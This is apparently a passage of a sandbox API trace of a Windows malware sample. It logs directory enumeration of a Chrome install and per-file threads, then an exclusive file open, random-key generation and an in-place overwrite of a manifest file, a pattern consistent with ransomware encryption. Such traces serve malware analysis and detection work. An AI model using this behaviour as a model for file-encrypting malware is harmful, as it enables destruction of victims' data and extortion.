ftLastWriteTime.dwLowDateTime=0x7689b536, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x3358, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0048.969] wcscmp (_String1="eventlog_provider.dll", _String2=".") returned 1 [0048.969] wcscmp (_String1="eventlog_provider.dll", _String2="..") returned 1 [0048.969] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0048.969] wcscmp (_String1="Extensions", _String2=".") returned 1 [0048.969] wcscmp (_String1="Extensions", _String2="..") returned 1 [0048.969] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4239e0 [0048.969] wcscpy (in: _Dest=0x4239e0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.969] wcscat (in: _Dest=0x4239e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.969] wcscat (in: _Dest=0x4239e0, _Source="Extensions" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" [0048.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4239e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4 [0048.970] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7d7940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7d7940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe9bf1b1, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9a9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0048.970] wcscmp (_String1="icudtl.dat", _String2=".") returned 1 [0048.970] wcscmp (_String1="icudtl.dat", _String2="..") returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x423a80 [0048.971] wcscpy (in: _Dest=0x423a80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.971] wcscat (in: _Dest=0x423a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.971] wcscat (in: _Dest=0x423a80, _Source="icudtl.dat" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" [0048.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x423a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0048.973] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0048.973] wcscmp (_String1="Installer", _String2=".") returned 1 [0048.973] wcscmp (_String1="Installer", _String2="..") returned 1 [0048.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x423b20 [0048.973] wcscpy (in: _Dest=0x423b20, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.973] wcscat (in: _Dest=0x423b20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.973] wcscat (in: _Dest=0x423b20, _Source="Installer" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" [0048.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x423b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0048.974] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0048.974] wcscmp (_String1="libegl.dll", _String2=".") returned 1 [0048.974] wcscmp (_String1="libegl.dll", _String2="..") returned 1 [0048.975] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76f4ff08, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x397d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0048.975] wcscmp (_String1="libglesv2.dll", _String2=".") returned 1 [0048.975] wcscmp (_String1="libglesv2.dll", _String2="..") returned 1 [0048.975] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0048.975] wcscmp (_String1="Locales", _String2=".") returned 1 [0048.975] wcscmp (_String1="Locales", _String2="..") returned 1 [0048.975] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x423bc0 [0048.975] wcscpy (in: _Dest=0x423bc0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.975] wcscat (in: _Dest=0x423bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.975] wcscat (in: _Dest=0x423bc0, _Source="Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0048.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x423bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804 [0048.976] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0048.976] wcscmp (_String1="nacl_irt_x86_64.nexe", _String2=".") returned 1 [0048.976] wcscmp (_String1="nacl_irt_x86_64.nexe", _String2="..") returned 1 [0048.976] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442af0 [0048.976] wcscpy (in: _Dest=0x442af0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.976] wcscat (in: _Dest=0x442af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.976] wcscat (in: _Dest=0x442af0, _Source="nacl_irt_x86_64.nexe" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" [0048.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0048.977] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2a89d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x40323, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0048.977] wcscmp (_String1="natives_blob.bin", _String2=".") returned 1 [0048.977] wcscmp (_String1="natives_blob.bin", _String2="..") returned 1 [0048.977] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x423c58 [0048.977] wcscpy (in: _Dest=0x423c58, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.977] wcscat (in: _Dest=0x423c58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.977] wcscat (in: _Dest=0x423c58, _Source="natives_blob.bin" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" [0048.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x423c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0048.978] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d97a860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d97a860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea58ee0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x118671c, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="RESOUR~1.PAK")) returned 1 [0048.978] wcscmp (_String1="resources.pak", _String2=".") returned 1 [0048.979] wcscmp (_String1="resources.pak", _String2="..") returned 1 [0048.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x423d00 [0048.979] wcscpy (in: _Dest=0x423d00, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.979] wcscat (in: _Dest=0x423d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.979] wcscat (in: _Dest=0x423d00, _Source="resources.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" [0048.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x423d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810 [0048.980] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea5dd02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x161db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0048.980] wcscmp (_String1="snapshot_blob.bin", _String2=".") returned 1 [0048.980] wcscmp (_String1="snapshot_blob.bin", _String2="..") returned 1 [0048.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442ba0 [0048.980] wcscpy (in: _Dest=0x442ba0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.980] wcscat (in: _Dest=0x442ba0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.980] wcscat (in: _Dest=0x442ba0, _Source="snapshot_blob.bin" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\snapshot_blob.bin" [0048.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814 [0048.981] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0048.981] wcscmp (_String1="VisualElements", _String2=".") returned 1 [0048.981] wcscmp (_String1="VisualElements", _String2="..") returned 1 [0048.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x424188 [0048.981] wcscpy (in: _Dest=0x424188, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.981] wcscat (in: _Dest=0x424188, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.981] wcscat (in: _Dest=0x424188, _Source="VisualElements" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" [0048.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x424188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818 [0048.983] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0048.983] wcscmp (_String1="WidevineCdm", _String2=".") returned 1 [0048.983] wcscmp (_String1="WidevineCdm", _String2="..") returned 1 [0048.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x424230 [0048.983] wcscpy (in: _Dest=0x424230, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0048.983] wcscat (in: _Dest=0x424230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0048.983] wcscat (in: _Dest=0x424230, _Source="WidevineCdm" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" [0048.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x424230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0048.984] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0048.984] FindClose (in: hFindFile=0x40a3e8 | out: hFindFile=0x40a3e8) returned 1 [0048.984] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430138) returned 1 [0048.984] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416810) returned 1 [0048.984] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447188) returned 1 Thread: id = 330 os_tid = 0xc0c [0048.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml")) returned 0x20 [0048.578] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", dwFileAttributes=0x20) returned 1 [0054.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3f8 [0054.108] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x690fd14 | out: lpFileSize=0x690fd14*=410) returned 1 [0054.108] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x196, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.108] ReadFile (in: hFile=0x3f8, lpBuffer=0x690fc98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x690fc94, lpOverlapped=0x0 | out: lpBuffer=0x690fc98*, lpNumberOfBytesRead=0x690fc94*=0x4, lpOverlapped=0x0) returned 1 [0054.109] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606c0 [0054.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460648 [0054.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460620 [0054.109] NtQuerySystemTime (in: CurrentTime=0x690fc74 | out: CurrentTime=0x690fc74*=132174898180932000) returned 0x0 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x497e1b6a [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x256e3357 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x4996e633 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x149fddb7 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x468ab66b [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x1b659f73 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x67c0c06b [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x5e5640c [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x5ea3626d [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0xc76f254 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x46c896df [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x3f3bce04 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x617bc72d [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x610cda8d [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x756cf4de [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x55221245 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x776e6138 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x468f375c [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x11692822 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x7310d842 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x70cf7dc1 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x5363d023 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x14cb5480 [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x368e5b2b [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x1035500c [0054.110] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x1ce57ee4 [0054.111] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0xa3f2c34 [0054.111] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0xa71a728 [0054.111] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x5bbe5680 [0054.111] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x459b3908 [0054.111] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x47a2beb7 [0054.111] RtlRandomEx (in: Seed=0x690fc80 | out: Seed=0x690fc80) returned 0x4bc9aea6 [0054.124] ReadFile (in: hFile=0x3f8, lpBuffer=0x19815018, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x690fc70, lpOverlapped=0x0 | out: lpBuffer=0x19815018*, lpNumberOfBytesRead=0x690fc70*=0x19a, lpOverlapped=0x0) returned 1 [0054.125] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.125] WriteFile (in: hFile=0x3f8, lpBuffer=0x19821820*, nNumberOfBytesToWrite=0x19a, lpNumberOfBytesWritten=0x690fc6c, lpOverlapped=0x0 | out: lpBuffer=0x19821820*, lpNumberOfBytesWritten=0x690fc6c*=0x19a, lpOverlapped=0x0) returned 1 [0055.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0510 [0055.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0560 [0055.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0560) returned 1 [0055.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19821820) returned 1 [0055.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19815018) returned 1 [0055.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0055.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0055.878] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4f) returned 0x4149e8 [0055.878] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.878] WriteFile (in: hFile=0x3f8, lpBuffer=0x44d400*, nNumberOfBytesToWrite=0x133, 